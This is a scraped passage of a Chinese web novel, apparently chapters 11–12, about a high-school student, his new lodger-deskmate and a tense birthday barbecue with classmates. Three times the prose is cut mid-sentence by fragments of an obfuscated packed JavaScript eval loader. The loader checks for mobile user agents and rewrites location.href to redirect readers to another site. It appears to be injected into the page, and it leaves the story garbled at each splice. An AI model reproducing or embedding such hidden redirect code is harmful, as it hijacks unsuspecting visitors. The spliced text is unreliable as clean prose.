贺昭走到门口,林佩玲看完电视正准备回房睡觉,贺昭说:“妈,你明天有空打扫一下楼上吗?易时想尽快搬过来,如果你没空的话我去找家政阿姨来帮忙。” 反正他现在是个小富翁,不在乎这点儿小钱。 林佩玲对他笑了笑:“有空呀,我明天上午就上去看看有什么可以清理的。” 贺昭:“嗯嗯辛苦妈妈了。” 立即低头打字:我妈明天上午去打扫,最迟明晚你就可以搬过来 只一秒,Chris回了消息:你的画室可以保留,我只住一个房间。 贺昭心想,这租客不仅爽快还挺nice的嘛。 回了个:好(笑脸笑脸笑脸) 他立即现场同步消息:“妈,易时说我那画室不用动,他用不上那房间。” 林佩玲应了声好,像是想起什么又问:“那次卧呢,里面都搬空了,需不需要重新添张床什么的?” 贺昭又给易时发了个“合作愉快”的表情包:“先不用吧,以后他有需要我再跟你说。” 林佩玲反应了过来:“那孩子一个人住啊?” 易时不愿意说的事贺昭也不想说太多,含糊地应了声:“他暂时一个人住,妈晚安。” 贺昭关上门重新回到床上,过了大概半分钟,易时回了消息。 Chris:合作愉快 贺昭一时间也不知道还能说什么,这应该可以直接当成结束语,不用再回复了吧? 他盯着这个英文名,虽然他和易时也没有很熟,但是Chris似乎更陌生,就好像一个遥远得永远不会交集的不同世界的人。 他想了想,改了备注名“租客”。 他往上翻了翻两人的聊天记录,虽然不长,但这已经是两人认识以来聊得最多最久的一次。 对了,忘了问他想租多久。 贺昭正想敲字,看了下时间,0:28,又停住了,算了,明天再问吧。 好不容易自然而然地结束了话题,还是别再重新开始了。 不如玩游戏吧。 贺昭今晚手特别黑,从晚自习开始就连续输,谁知这会儿0点一过,欧气又回来了,可谓是披荆斩棘一路乘风破浪,直到凌晨三点他才心满意足地睡去。 以至于第二天早上,贺昭差点没爬起来。他在床上挣扎了好一会儿,盯着天花板默数了好几个十秒终于掀开被子下床。 餐桌上放着张江洋给他留的早餐,家里没人,张江洋已经吃完走了。林佩玲每天很早就去店里忙活,他和张江洋早餐自理。张江洋这人虽然学习不好,却是有着早睡早起的好习惯,23点前准时睡觉一大早起来跑步,顺便买早餐回来,吃完早餐又赶去学校进行校篮球队的训练。 贺昭嘴里叼着面包,将牛奶塞进背包里,慢吞吞出门。 路过那家常光顾的面包店,贺昭余光瞟见橱窗里面的三明治,刚吃完面包的他鬼使神差地走了进去。 请租客吃个早餐吧,三明治他应该喜欢吧? 走在路上贺昭就隐隐觉得自己今天似乎起早了,沿路上稀稀疏疏的学生竟然都不慌不忙,颇有种信步闲庭的轻松自在。 从面包店里出来,他摸出手机一看,果然,不到七点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480242|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 六中的早读课7:30开始,他一向是踩点到。 他慢条斯理回想了一下,自己平时都是第三个闹钟响才起床,今天好像第一个闹钟就听见了。 他迅速在心里做了个总结,贺昭啊贺昭你终于长大了,成长为能顺利起床的大人了,掌声鼓励。 谁知,他难得这么早踏入教室,上天居然奖励他撞见一个人,不,一只猴子坐在他位置上,对着他的同桌兼租客说他的坏话。 “……其实贺昭这个人也就表面看着和善,平日里喜欢在班上搞小帮派,以为自己真是老大,让一堆人围着他喊哥。说到底还是太幼稚贪玩,一天到晚懒懒散散不好好学习,光凭一张长得还行的脸和女生逗乐,其他人也就围着他瞎起哄,如果他影响你学习了,你告诉我,我就……” 这说话的腔调,贺昭闭上眼不用看都知道是副班长杜仕杰。杜仕杰学习成绩不错,一直在班上前几名,虽然个子不是很高,人倒长得白净斯文,据说家境也挺好,就是时常端着一股若有似无的优等生架子。贺昭看得出来杜仕杰平日里就不怎么待见他,其实也没什么矛盾,只是杜仕杰看他的眼神时常带点审视的傲慢和轻微的不屑,贺昭自认是个心胸宽广的人也懒得跟他计较。 他倒不知道杜仕杰对他意见这么大,大到一大早要找新同学吐槽他。 易时一直没有出声,既没附和也没制止,从贺昭的角度只能看见易时的大半个背影,坐姿挺标准,背脊挺直,看不清什么表情,估计也没什么表情。 贺昭说不上心里是什么滋味,他和易时本来就不是很熟,也不指望易时会替他出头辩解。但是易时真的一声不吭,他又有些不爽,觉得有什么东西还没来得及发芽迅速在心里干瘪。 老周还让他照顾这人,照顾个屁啊人家不是在班里混得风生水起吗?这不人缘挺好吗?还需要他照顾? 贺昭开了口:“副班长……你就怎么样?” 故意把“副”字拉得特别长,咬得特别重。 杜仕杰闻声一僵,下意识站了起来,动作大得差点撞翻贺昭的课桌。 贺昭把书包甩在桌上,挤开他,一屁股坐了下来。 杜仕杰在原地站了一会儿,想走似乎又有些不甘心,微仰着头,肩膀绷得很紧,有种不愿退让的架势:“我说错了吗?” 贺昭依次从书包里掏出手机、牛奶,摸到本来给易时准备的钥匙和房东请客的早餐三明治牛奶,一顿,没有拿出来,直接把书包挂在了课桌旁边。 贺昭抽出吸管开始喝他自己那瓶牛奶,头也不抬:“你没说错,但是你可以回你的座位了,反正谁嘴贱谁是孙子。” 杜仕杰没想到贺昭会突然出现,原本还有些被撞破的尴尬和难堪,看他这幅傲慢的态度尽数化作了愤怒:“你……” 易时瞥了他一眼,目光冷漠锐利似乎还带着点警告意味。 杜仕杰一愣,据他观察这个新生和贺昭的关系并不好,虽然老师安排了他们同桌,但是两周了他们话都没说过几句。他想也是,易时是学霸,怎么会跟贺昭玩到一块?也就罗浩那个缺心眼天天围着贺昭“昭哥昭哥”打转,自己成绩那么好非要凑在贺昭身边甘做绿叶,被人利用了还不知道。 杜仕杰摸不准易时是什么意思,见班上陆陆续续来人了顾虑面子便回位置去了。 易时的目光从文言文移到贺昭身上,他正一脸无所谓地边玩消消乐,边咬着吸管喝牛奶,灵活的手指不断地点着屏幕,看不太出异样,唯有微微下垂的嘴角昭示着他的不爽。 易时看着他,欲言又止,但最终抿了下唇,什么都没说。 11. 不熟 仅过了十分钟,像是进入了魔法时间,几乎所有同学都在这一小段时间内前后脚踏入教室。 先是班长左芮:“咦,今天好早啊贺昭。” 接着是何崇山:“哟,昭儿,今个儿太阳打西边出来了啊。” 很快,姜林走了进来,露出不可思议的浮夸表情:“哥,你昨晚玩游戏玩得那么晚,今天还能来这么早,这是老周约谈后打鸡血了?” 贺昭坐不住了:“不是,至于吗,我正常时间来上个学就这么让你们惊讶?” 姜林真诚地回复:“至于,真至于,怎么不至于?” 贺昭:“……” 过了一会儿,贺昭还在低头玩手机:“你怎么知道我打了一晚上游戏?” 姜林答:“我昨晚临睡前看到你上线,根据我对你多年的了解,你不可能只打一局就睡。” 贺昭两只手指捏着手机灵巧一转,将手机收进了抽屉:“你确实挺了解我。” 姜林故作痴怨地看了他一眼:“那我了解你还是胖子了解你?” 贺昭:“那还是胖子吧。” 姜林泫然欲泣:“天降果然干不过竹马。” 说胖子,胖子就到。 “昭儿,这么早,怎么了?昨晚失眠了啊?是不是有什么心事?怎么不找我给你开导开导啊?”罗浩拉开椅子坐下。 贺昭忍无可忍:“你们这样我以后都不敢正常时间来上学了。” 罗浩:“你那是不敢吗?你那是不想吧?” 贺昭凉凉剜了一眼过去,愣了下:“胖子你的脸怎么了?” 罗浩右脸的颧骨位置瞧着像是擦伤了,留着红红的印子。 罗浩支吾了下:“不小心撞到了。” 贺昭伸手捏着他的下巴,对着他的脸认真研究端详:“不像撞的啊,倒像是被人打了一拳,你妈不会终于忍不住家暴你了吧?可你妈应该没这么大劲啊?” 罗浩转过头,避开跟他视线对视:“真是撞伤,我妈……我妈是凶了点但从不动手。” 姜林反驳了句:“上次开家长会她不就掐你了吗?” “掐是掐,她不会打我。”罗浩说。 贺昭从书包里掏出三明治和牛奶,郑重地放在罗浩桌上:“补一补吧。” 罗浩愣了愣,盯着材料丰富的巨无霸三明治:“昭哥,发财了啊?” 贺昭煞有架势地点了点头:“确实发财了,晚上吃不吃大餐?哥请客。” 姜林积极响应:“好诶,今天晚上老师们开教师大会,晚自习只要上到八点,咱们正好有充足的时间去大吃大喝。” 贺昭:“别说得好像9点下晚自习你就不去一样。” 姜林嘿嘿笑。 罗浩犹豫了一下:“我晚上约了人。” 姜林顿时来兴趣了:“约了人?男的女的啊?可以啊胖子。” 罗浩笑了笑:“不是你想的那样。” 姜林挤眉弄眼:“我想的哪样?” 这没心没肺神经大条的损样儿,贺昭忍不住踢了他椅子一脚,扭头问罗浩:“需要我陪你吗?” 罗浩握着牛奶的手紧了紧,缓慢地摇了摇头。 胖子不对劲啊,不会遇到什么事了吧? 上课的时候,贺昭转着笔还一直在想这个问题,难不成跟人打架了,应该不至于啊,罗浩性格温吞,从不跟人产生矛盾。 不过,看着确实有些反常啊。 一只骨节分明的手突然伸过来,曲起手指在他桌面轻敲了一下。 贺昭没动,从眼尾用余光瞟了一眼手的主人,没好气地说:“干嘛?” 易时顿了一下,收回了手,示意性地瞥了一眼讲台。 贺昭顺着他的目光往讲台一看,吓得笔都差点掉了,包括讲台上的化学老师,全班人的目光正像一盏盏聚光灯齐刷刷打在他身上。 “干嘛?贺昭,还挺横啊,喊你半天了都没反应,让你同桌喊下你还敢问干嘛?上课30分钟了,你课本都没打开,想什么想得那么入神呢?是不是都自学好了不用听讲了?来,你告诉我,这化学方程式该怎么配平?这里填多少?” 化学老师是一位四十岁左右的女老师,看起来十分和蔼可亲,当然,只是看起来而已。实则是理科班的年级组长,行事霸气干练雷厉风行,是整个3班最害怕的老师,没有之一,她的课甚至没有人敢大喘气。 在众人的注目礼中,贺昭站了起来,懵懵地盯着黑板。 易时低声说:“课本142页。” 易时本来声音就低,压低声音后更是又低又磁,仿佛大提琴震动琴弦。 贺昭没有动。 教室静得可怕,静得贺昭可以听见课本擦过书桌细微的声音,是易时用手指抵着课本推过来了一点儿。 贺昭也不知道自己在犟什么,没有低头看:“对不起老师,我走神了没有听课。” 化学老师缓了缓语气,颇为和蔼可亲:“还挺诚实,但是贺昭你说错了,你没有对不起我,你对不起的是你自己对不起的是你含辛茹苦的父母。这样吧,也不能耽误大家上课的时间,找个时间啊我们单独聊,正好我也很久没去你妈妈店里坐坐了。你也别站着了,快坐下吧,易时,告诉他讲到哪里了。” 贺昭没有给易时机会,一坐下“唰”地直接翻到142页,映入眼帘就是化学老师问的那一道化学方程式。 贺昭盯着化学式心想,真是晦气的一天,从他今早踏入教室开始就注定是倒霉的开始。 没想到这事竟还没结束,化学课之后是物理课,物理老师一进来就打趣:“刚才是你们哪个惹化学老师生气啦?化学老师一下课可就找你们周老师去了,胆子不小啊。” 物理老师惯来不严肃,常常和学生打成一片,同学们早就习惯了他各种随意轻松的开场白,附和地笑了笑。 忽然,前排有人认真回答他这个问题:“是贺昭。” 贺昭看了过去,靠,又是杜仕杰这家伙,没完了是不是?小学生吗?还打小报告? 贺昭物理成绩差,物理老师却莫名喜欢他,也喜欢调侃他,当即笑了:“贺昭,最近你挺活跃啊,看来昨晚你们周老师没跟你聊透彻,我看周老师啊今天带了新茶叶来,欢迎常来办公室喝茶。” 贺昭郁闷了:“老师您别说了,我已经羞愤死了,您再说我这节课头都不敢抬了。” 物理老师讶异:“这么严重?这不是还能贫嘴吗?” 贺昭:“……” 同学们发出低低的笑声,班上的气氛也明显活跃了起来,但是贺昭注意到,罗浩没有笑。 平日里他可是最爱在他被老师提点的时候瞎乐,这太不正常了。 不过,比罗浩还不正常的是杜仕杰,早上背后说他坏话被当场抓获,上午还打小报告,下午就约他晚上一起吃饭。说是过几天他生日,晚上正好有时间请大家吃个饭,贺昭没想到这个“大家”还包括了他。 何崇山来传话的时候,贺昭直接冷漠地拒绝:“没空,不去。” 谁知,晚自习杜仕杰居然亲自来请了,不过似乎是怕当面尴尬,只传了纸条过来。 “今天早上是我不对,我向你郑重道歉,希望你待会儿下课能和我们一起吃饭。” 贺昭大笔一挥“没空” “你怎么这么小肚鸡肠,我都道歉了你还想怎样?” 小肚鸡肠?都道歉了还想怎样? 负分发言。 贺昭直接揉了纸条,丢进了垃圾桶。 只几秒,新纸条又来了。 “你要怎样才肯来?” 呵,莫名其妙。 贺昭依然不为所动,过了一会儿,纸条又来了。 “对不起,刚刚我态度不好,我是真心想邀请你来,你可不可以告诉我你要怎样才愿意去吃饭?” 这还差不多。 贺昭回“吃什么?” 杜仕杰的纸条来得很快,“日料”。 贺昭:“我想吃火锅。” 杜仕杰:“十几二十个人怎么吃火锅?” 贺昭:“火锅或烧烤,这两个我就去。” 贺昭看见杜仕杰盯着自己传过去的纸条足足盯了五分钟,似是终于下定决心,又传了纸条过来。 “那就烧烤,说话算话,你一会儿得来。” 贺昭远远对着不放心频频回头看他的杜仕杰比了个“ok”的手势。 旁观这一场纸条飞舞的姜林将背靠在贺昭桌沿上,问道:“哥,你什么时候跟杜仕杰关系这么好了?” 贺昭哼了声:“好个屁,不知道他搞什么鬼,反正待会儿我们联手把他吃垮。” 姜林爽快应道:“行!” 课间遇上徐梦凡,贺昭才知道杜仕杰为什么如此反常。 徐梦凡嘱咐道:“贺昭,待会儿记得等等我一起走。” 贺昭有些疑惑:“嗯?去哪?” 徐梦凡:“不是杜仕杰请吃饭吗,他说你也去呀。本来都是你们班的人我也不怎么认识就说我不去了,不过他说你也会去,我就答应了。你得跟我一起啊,不然我多尴尬啊。” 原来如此。 徐梦凡,长相清秀,家境优越,最最最重要是A班大学霸,常年霸年纪榜前三,怎么看都是杜仕杰喜欢的类型或者说怎么看都是他想高攀的类型。 贺昭想起杜仕杰纸条上那句“对不起”,难道这就是所谓的“为爱低头”? 贺昭笑着说:“好啊,你和杜仕杰很熟啊?” 徐梦凡松了一口气:“也没有很熟,他之前进过A班,不过认识算是在补习班,还是他跟我说他和你是好朋友,就聊了两句。” 贺昭笑了笑没接话,心里冷哼了一声,谁跟他好朋友啊。 贺昭进教室的时候听见自己的好朋友杜仕杰正在跟何崇山等一群人吹牛:“徐梦凡和她朋友也会来。” 不知道是谁问:“你怎么认识徐梦凡啊?那可是大学霸啊。” 杜仕杰语气里满是压制不住的得意:“也没什么,我跟小蝴蝶是认识很久的老朋友了,只是你们不知道。” 贺昭:“……” 晚自习下课,杜仕杰他们先去烧烤店占位置,贺昭和徐梦凡等人慢悠悠走在后面。 徐梦凡:“时间过得可真快,上回我们一起吃饭还是刚上高一说老同学聚一聚,这会儿都高二了,下一次说不定就高考后了。” 贺昭:“就是,高二了上年纪了,喜欢感慨了。” 徐梦凡打了他一下。 徐梦凡带来的朋友叫张小曼,性格比徐梦凡活泼很多:“我一直很好奇凡凡这样内向的性格竟然也会有关系好的男生朋友,你们到底是怎么成为朋友的?” 姜林附和:“同好奇同想问。” 贺昭噗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480243|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑了一声,徐梦凡立即警告:“不许说,不能说。” 贺昭举手发誓:“好好好,我不说。” 就算他想说也难以说出口啊。 大概是初二的体育课,贺昭旁边的同学突然说:“徐梦凡的裤子怎么脏了啊?” 贺昭就势看了过去,徐梦凡裤子后面确实脏了一块。一开始他以为徐梦凡是蹭到了什么脏东西,特地过去提醒了她一句。谁知,徐梦凡旁边的朋友似乎意识到了什么,绕到后面看了眼,又惊又羞地小声道:“你来那个了……” 徐梦凡的脸顿时涨得通红,立即坐了下来,着急地问她朋友:“怎么办啊?” 贺昭愣了一下,很快反应过来是怎么回事。当时虽然正是夏天,但贺昭正巧感冒未愈穿着校服外套,就立即拉下拉链将外套脱了下来递给了她。 张小曼:“别不说啊,不说我就更好奇了。” 姜林再度附和:“对啊别不说啊。” 张小曼:“告诉我呗。” 姜林:“告诉我们两个呗。” 徐梦凡凑到张小曼耳朵不知道跟她说了什么,张小曼一副恍然大悟的样子,然后对着贺昭竖起了大拇指。 姜林郁闷了:“所以现在是只有我不知道了?张小曼同学我们刚刚的革命友谊呢?” 张小曼摇了摇头:“这不能说。” 姜林一脸哀伤:“我觉得我被排挤了。” 烧烤店就在学校后门的美食街,几人闲谈了一会儿很快就到了。 张小曼扫了一眼在座的人,问道:“诶,你们班那个新来的大帅哥没有来啊?” 姜林扭头问贺昭:“对也,哥,要不叫上易哥吧?” 贺昭:“要叫你叫,我跟他又不熟。” 听了两人特别自然的对话,今夜的主人——正在招呼大家坐下的杜仕杰脸上笑容僵了一下,很快,他笑着说:“还用大锤你提醒,我早问过易哥了,他说没空,这次不来了。” 姜林立即反唇相讥:“你才大锤,你全家都大锤。” 杜仕杰:“吃炮仗了?贺昭他们不也天天叫你大锤,也没见你这么激动。” 姜林翻了个白眼:“我哥跟你能一样吗?” 贺昭心想当然不一样,“大锤”这个外号已经历史很悠久,据从小和姜林一起长大张江洋说是因为姜林小时候特别说话浮夸、爱吹牛而得来。贺昭是随着张江洋这样喊他,罗浩则是跟着他喊。平日里姜林对这个外号也不排斥,但是绝不能在五个人以上尤其是有不熟悉的女孩子的时候喊他这个外号。 杜仕杰这人倒也奇怪,他这么爱面子,竟然不知道不能在人前伤人面子。 左芮出来打圆场,岔开了话题:“易时真不来啊?你不是说晚上再问一次吗?还是不来吗?” 杜仕杰:“问过了,真不来。” 包括班长左芮在内的几个女生都失望地“啊”了一声,何崇山也跟着失望地叹了口气:“昭儿,你怎么不把他给带来呢?正好大家联络联络感情嘛。” 左芮跟着说:“对呀,他都来快两个星期了,大半个月了,还跟大家这么陌生,估计班上有谁他都不知道。” 徐梦凡好奇地问:“是那个周小测数学考了142分的新生吗?” 左芮:“对对对,就是他,这事儿连你都知道了啊。” 徐梦凡看了眼杜仕杰,笑了笑:“我听别人说的。” 正是那个“别人”的杜仕杰不知为何振奋了,神秘兮兮地说:“易哥真的特别牛,我看他的数学物理作业几乎天天全对,而且我那天看到他下车,送他来学校的那辆车是劳斯莱斯。” 还劳斯莱斯呢。 听杜仕杰语气里挥散不去的小骄傲,就好像易时是他哪门子亲戚一样。顿时,贺昭觉得自己不是在和同学吃烧烤,而是听他爸那边的精英亲戚们坐在一起礼貌而又不失风度地相互吹嘘恭维,听不下去,而且真的很影响食欲。 张小曼说:“真的假的?不过他真的好帅啊,又高又帅。贺昭,他不是你同桌吗,你怎么不带人家过来认识下同学?” 贺昭慢条斯理地说:“又不是我生日,再说了我真和他不熟。” 张小曼:“不会吧,你都跟他不熟啊?” 贺昭纳闷了,也不知道为什么大家都觉得他应该和易时特自来熟,一见如故称兄道弟。不过他确实不是那种扭扭捏捏的人,倒也没有刻意不理易时,只是对着易时很多时候他不知道说什么,他不说话易时那个无口少年自然也不会主动说话。 既生日又自认和易时很熟的杜仕杰立即说:“要不我再微信问下他来不来?” 姜林凑了过去:“卧草?你怎么会有易哥的微信?快推给我,我也要加,我以后还要问他数学题。” 杜仕杰语气平静:“没什么,就他今天早上找我问些事让我帮点小忙,就顺便加了我微信。你们谁还想加他,我推给你们。” 贺昭:“……” 就算他今天早上没有看到杜仕杰坐在他的位置上死乞白赖跟易时说话,就易时那死都不愿麻烦人的性子,会主动找他帮忙还加他微信? 再说了,他这样发散易时的微信,经过易时的同意了吗? 等一下,要是易时突然看见一堆人加他好友,不会怀疑是他发散的微信号吧? 这样一想,贺昭真想发个消息给易时声明这一切可疑行为与他无关。 12. 不欢 杜仕杰示意性地扬了扬手机:“我问了,他还没回消息,估计真没空。” 老板端来了几盘烤串,贺昭刚准备伸手去拿,杜仕杰已经把盘子推到女生前面:“你怎么一点儿绅士风度都没有,女士优先。” 贺昭:“……” 徐梦凡推了回去:“没事儿不用客气,你放着吧我们自个儿拿就可以了,对了贺昭,罗浩怎么没来呀?” 杜仕杰说:“对耶胖子呢,胖子怎么没来,他平日里不跟你跟屁虫一样你去哪他就跟去哪吗?” 这说的什么话?怎么听着就让人那么想揍他? 贺昭冷淡地说:“他没空。” 一桌人凑在一起吃着烧烤聊得热火朝天,聊班上哪个人早恋了,聊校医室来了个漂亮的校医,聊美术老师好像在追音乐老师……不一会儿就把听说的传说的同学说的朋友说的全都说了个遍,贺昭没怎么说话,专心致志地吃烧烤,但也一直在听。 忽然,姜林啧了声:“哥,你居然骗我们说你跟易哥不熟。” 贺昭咬了口烧烤:“?” 姜林把手机递给他看聊天记录。 “易哥,我哥让我叫你来吃烧烤。” “贺昭?” “对对对他让你赶紧过来” “你们在哪?” “学校后门的烧烤佬烧烤店,易哥你要过来吗?” “好” 贺昭顿时不好了,骂道:“你有病啊你让他来干嘛推到我身上?” 姜林:“我这不是顺口一说,谁知道他真的就来了。” 张小曼有些兴奋:“所以易时要来是不是?” 何崇山打了个响指:“好啊太好了,昭哥,一会儿你可得好好把我们介绍一下,大家熟悉了就好了。” 贺昭了然地啧了声:“你不就是想拉他进班里篮球队嘛。” 何崇山嘿嘿地笑。 杜仕杰看了眼没有动静的手机,脸色沉了下来,但很快恢复了正常,举手召来了服务生:“老板,再加烤翅烤牛肉烤掌中宝……” 贺昭加了句:“少放点辣椒,易时不太能吃辣。” 杜仕杰愣了下,脸色更不好了:“还是你细心。” . 大概过了十几分钟,姜林忽然站了起来:“易哥,这里。” 贺昭忽的感觉到高大的人影接近,在他身后站住了。原本坐在贺昭旁边的姜林往侧边挪了挪,体贴地空出了一个位置,易时就势在贺昭旁边的空位坐下。 整桌人齐刷刷看着易时,安静了下来,何崇山示意性地对着贺昭挑了挑眉。 贺昭在心底默默叹了口气,正准备开口,杜仕杰已抢先一步:“易哥,这些都是我们班的同学,这是班长左芮,这是体育委员何崇山何大仙……” 杜仕杰按照顺序一个个介绍过去,又指着徐梦凡和张小曼说:“这两位是A班的大学霸,徐梦凡小蝴蝶和张小曼,都是我朋友。你旁边两位我就不用介绍了吧,大锤和昭哥。” 贺昭心想,谁是你哥,杜仕杰这一声哥他还真消受不住。 易时冷淡而礼貌地开了口:“你们好,我是易时。” 桌上的众人纷纷应和:“你好你好……” 一时间陷入了突然又诡异的沉默,仿佛易时一来,周边温度都低了几度,就连话挺多的张小曼都只偷偷瞄了几眼易时,没有再主动说话。 虽然易时是有点儿高冷,但是也不至于跟教导主任大驾光临一样直接就把场子镇住了吧? 贺昭下意识看了一眼易时,不知道是不是他的错觉,总觉得易时似乎也意识到了自己一来气氛变了。他单肩背着书包,拇指勾着书包的带子,甚至没有把书包放下,好像比平时还要沉默。 说不清什么感受,但贺昭有些心软了。 贺昭吃得差不多了,用湿纸巾擦了擦油乎乎的手指,瞥了一眼张小曼,开玩笑道:“不是,我不也是个大帅哥吗,怎么你见到我就没有这么大礼遇呢?” 贺昭虽自封为“大帅哥”,语气却很轻松,像是朋友间的玩笑,并不叫人反感。 张小曼愣了一下:“什么礼遇?” 贺昭向易时努了努下巴:“害羞的礼遇。” 张小曼笑着说:“我第一次见你的时候也很害羞啊,对不对啊凡凡?” 徐梦凡:“啊?有吗?” 张小曼:“有啊!徐梦凡,你不要故意假装想不起来!” 何崇山加入了话题,一本正经分析:“帅哥也分类型,昭哥这种就是能让人变大胆想放开大喊‘贺昭你好帅贺昭我爱你!’,而易时嘛他越帅反而会让人在他面前越发收敛不敢造次。” 贺昭转头看他有些意外:“哟,看不出来啊,何大仙不仅会算命还研究这个。” 何崇山是校队的主力,经常分析对手的战术,好几回都算得特别准确,之后队友经常在赛前开玩笑说“何大仙快算一卦”,久而久之大家就都跟着叫他“何大仙”。 何崇山:“这当然不是我说的,是刘晓芸说的。她还说了,就比如两个人打球都特别帅一群女生在喊加油,昭哥看一眼过去女生肯定欢呼得更大声,而易时看一眼她们必定要怂。” “也不一定,我第一次见到贺昭的时候就怂了,就觉得这男生的眼睛长得真好看啊,我站在他旁边太不好意思了,自惭形秽。”左芮说。 贺昭:“等一下,只有眼睛真好看?” 左芮立即改口:“都好看,都好看,哪哪都帅,帅得我都不好意思站你旁边了。” 徐梦凡像是想起什么:“贺昭初一的时候还没长个子,可漂亮了,被老师选去反串演英语话剧的女主角,结果啊真的有好几个别的班的人来问你们班那个演话剧的漂亮女生叫什么名字。” 贺昭不可思议地睁大眼睛:“不是吧徐梦凡,你是不是喝椰汁喝醉了,这事你都要说出来?” 姜林乐了,举起手附和:“我可以作证,贺昭刚搬进我们那街道的时候确实很矮,我总觉得他比我小几岁,后来没多久突然就比我高了,然后就一直碾压我……唉忧伤。” “我小时候也很矮,天天被我姐摁在地上打,也是突然窜个子……”何崇山说。 姜林立即接过话:“但还是天天被摁在地上打。” 众人哄笑,气氛一下子轻松了许多。 老板端着新烤好的肉串过来。 贺昭把易时面前堆着的烧烤盘往前推了推,空出来位置:“老板,少辣的放这里。” 注意到易时闻言视线落在他身上,贺昭解释道:“副班长特地为你点的少辣版烧烤。” 易时又看了杜仕杰一眼,但很快视线落回贺昭身上:“谢谢。” 杜仕杰摆摆手:“谢什么呀,应该的。” 何崇山斜着眼睛暗示贺昭,整得眼睛都快斜视了,贺昭终于在他的期待中清了清嗓子:“易哥,有位体育委员已经烦了我很久了,他一直想问你……” 易时似乎很意外贺昭竟然会叫他易哥,嘴角微不可察牵了一下。 贺昭心想,草,什么表情?他这不是为了迅速带领他融入班集体才这么卖力吗? 贺昭白了他一眼,继续说下去:“你要不要在‘校长杯’篮球赛上为班集体出一份力?” 怕易时没有听明白,何崇山立即解释:“我们班已经有个临时队伍,五个主力其实实力还行,但是我们班跟别的班比最大的问题是海拔不够,如果能有个高个子的压阵就最好不过了。” “易哥,队友你都认识的,有何大仙、我、我哥、还有那边几个。”姜林帮腔。 贺昭强调:“我只是替补啊。” 贺昭的篮球打得其实还行,但是他懒也不太喜欢流汗的感觉,一般能不上场就不上场,反正理科班也不缺会打篮球的男生。只是一到真正的篮球比赛,个子高比较占优势,贺昭总被何崇山安排得满满的。 何崇山一本正经地说:“你是最后武器,特别针对张江洋的那种。” 顿了顿,补充道:“如果我们能撑到遇见11班的话。” 贺昭叹口气:“你真是善良,居然会相信张江洋到了球场还残留人性记得我是他哥?” 张江洋打篮球就一个字“狂”,那简直就是脱缰的野马,谁都拉不住地满场横冲直撞。 何崇山大笑:“残不残留人性我不知道,但是他应该不敢直接撞飞你,要不然回家叔叔得……” 他做了个抹脖子的动作。 “他要是在场上还会想那么多,他就不是张江洋了。”贺昭提醒。 见易时垂眼似乎还在思考,姜林开玩笑说:“你不来,就没人帮助我哥脱离苦海了。” 易时要是不来,何大仙势必得逼贺昭去抢篮板。 易时顿了顿,扫了一眼贺昭,贺昭也不知道为什么,明明预感他下一秒就要点头了,却下意识出声打断:“这事也不急,你好好想想再答复何大仙,先吃吧。” 何崇山举起手中的啤酒:“没错没错,易时,不管怎样先敬你一杯。” 易时没有喝的,顺手拿起贺昭面前的椰汁,跟他碰了一下,然后还给了贺昭。 贺昭:“?” 不擅长体育活动个子也不够高的杜仕杰一直没机会插上话,见他们似乎可以结束这个话题了,赶紧打断:“好了老何,别说这个了,人家女生都在这儿,听你们说这些多么无聊啊。” “不无聊啊,正好替我们班打探一下敌情。”张小曼说。 徐梦凡叹了口气:“你们班真好,我们老师根本不想我们对篮球赛太认真,虽然没直接说但是可以感觉到他特别希望我们赶紧淘汰赶紧收心学习。” 张小曼跟着叹了口气:“对呀,年级组长今天才批评我们班说我们太懒散了。” 杜仕杰:“哎你们是A班嘛,老师总是更严格。说起来贺昭今天也被年级组长批评了,他也真是勇士,在年级组长的课上走神发呆,叫他都听不见,老师直接当场发飙。” 贺昭有些无语了,哪壶不开提哪壶就算了,这隐隐约约嘚瑟嘲讽的语气是怎么回事? 徐梦凡她们所在的1班和3班是同一个化学老师,自然知道这位老师的厉害。 徐梦凡立即关切地看向贺昭:“啊?那最后怎么样了啊?” 贺昭耸了耸肩:“她说要去我妈店里坐坐。” “害,你妈又不是我妈,阿姨又不会骂你,化学老师要真去告状,说你上课发呆,估计阿姨只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贺昭脸色倒不算太难看,只是脸上没了笑意,纯色的眼珠直直看着杜仕杰,显得格外冷漠。 坐在他旁边的易时微微蹙眉,平日里一贯没什么表情的脸显得更冰冷。 何崇山开口打圆场:“杜仕杰你喝多了,快跟贺昭道歉。” 他旁边的男生跟着说:“副班刚刚喝了不少,肯定是喝醉了,昭哥你别跟他计较,副班?副班?跟昭哥道个歉。” 杜仕杰杵着没有动,像个勇士微扬着头,但他没漏掉旁边同学诧异、尴尬又有些责备的表情。他们都是和贺昭一边的,这样的认知让杜仕杰一瞬间变得更为烦躁和不甘。 为什么贺昭说什么做什么都有人附和?为什么总有人替他说话替他出头?为什么只要贺昭乐意就能呼朋引伴,谁都愿意和他做朋友?他到底有什么好?凭什么贺昭理所当然就是宝贝,不用努力就能吸引别人的目光,所有人都围着他转?而他……他费尽心机特地以生日为借口才聚齐这些人,现在却全被贺昭毁了。 